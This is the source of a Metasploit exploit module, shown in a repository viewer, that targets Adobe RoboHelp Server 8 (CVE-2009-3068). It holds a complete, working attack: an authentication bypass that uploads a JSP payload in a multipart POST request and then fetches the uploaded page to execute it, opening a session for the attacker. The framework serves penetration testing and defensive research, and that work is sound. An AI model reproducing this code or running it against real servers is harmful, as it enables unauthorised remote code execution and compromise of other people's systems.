root / modules / exploits / windows / http / adobe_robohelper_authbypass.rb
History | View | Annotate | Download (2.4 KB)
| 1 | ##
|
|---|---|
| 2 | # This file is part of the Metasploit Framework and may be subject to
|
| 3 | # redistribution and commercial restrictions. Please see the Metasploit
|
| 4 | # Framework web site for more information on licensing and terms of use.
|
| 5 | # http://metasploit.com/framework/
|
| 6 | ##
|
| 7 | |
| 8 | require 'msf/core'
|
| 9 | |
| 10 | class Metasploit3 < Msf::Exploit::Remote |
| 11 | Rank = ExcellentRanking |
| 12 | |
| 13 | include Msf::Exploit::Remote::HttpClient |
| 14 | |
| 15 | def initialize(info = {}) |
| 16 | super(update_info(info,
|
| 17 | 'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.', |
| 18 | 'Description' => %q{ |
| 19 | This module exploits a authentication bypass vulnerability which |
| 20 | allows remote attackers to upload and execute arbitrary code. |
| 21 | },
|
| 22 | 'Author' => [ 'MC' ], |
| 23 | 'License' => MSF_LICENSE, |
| 24 | 'Version' => '$Revision: 7724 $', |
| 25 | 'Platform' => 'win', |
| 26 | 'Privileged' => true, |
| 27 | 'References' =>
|
| 28 | [ |
| 29 | [ 'CVE', '2009-3068' ], |
| 30 | [ 'URL', 'www.intevydis.com/blog/?p=69' ], |
| 31 | [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ], |
| 32 | ], |
| 33 | 'Targets' =>
|
| 34 | [ |
| 35 | [ 'Universal Windows Target',
|
| 36 | {
|
| 37 | 'Arch' => ARCH_JAVA, |
| 38 | 'Payload' =>
|
| 39 | {
|
| 40 | 'DisableNops' => true, |
| 41 | }, |
| 42 | } |
| 43 | ], |
| 44 | ], |
| 45 | 'DefaultTarget' => 0, |
| 46 | 'DisclosureDate' => 'Sep 23 2009' |
| 47 | )) |
| 48 | |
| 49 | register_options( [ Opt::RPORT(8080) ], self.class ) |
| 50 | end
|
| 51 | |
| 52 | def exploit |
| 53 | |
| 54 | page = Rex::Text.rand_text_alpha_upper(8) + ".jsp" |
| 55 | uid = rand(20).to_s
|
| 56 | |
| 57 | file = "-----------------------------#{uid}\r\n"
|
| 58 | file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
|
| 59 | file << "Content-Type: application/x-java-archive\r\n\r\n"
|
| 60 | file << payload.encoded |
| 61 | file << "\r\n"
|
| 62 | |
| 63 | print_status("Sending our POST request...")
|
| 64 | |
| 65 | res = send_request_cgi( |
| 66 | {
|
| 67 | 'uri' => '/robohelp/server?PUBLISH=' + uid, |
| 68 | 'version' => '1.1', |
| 69 | 'method' => 'POST', |
| 70 | 'data' => file,
|
| 71 | 'headers' =>
|
| 72 | {
|
| 73 | 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, |
| 74 | 'UID' => uid,
|
| 75 | } |
| 76 | }, 5)
|
| 77 | |
| 78 | if ( res and res.message =~ /OK/ ) |
| 79 | id = res['sessionid'].to_s.strip
|
| 80 | |
| 81 | print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
|
| 82 | data = send_request_raw({
|
| 83 | 'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page , |
| 84 | 'method' => 'GET', |
| 85 | 'version' => '1.0', |
| 86 | }, 5)
|
| 87 | |
| 88 | handler |
| 89 | else
|
| 90 | print_error("No SESSIONID acquired...")
|
| 91 | return
|
| 92 | end
|
| 93 | end
|
| 94 | end
|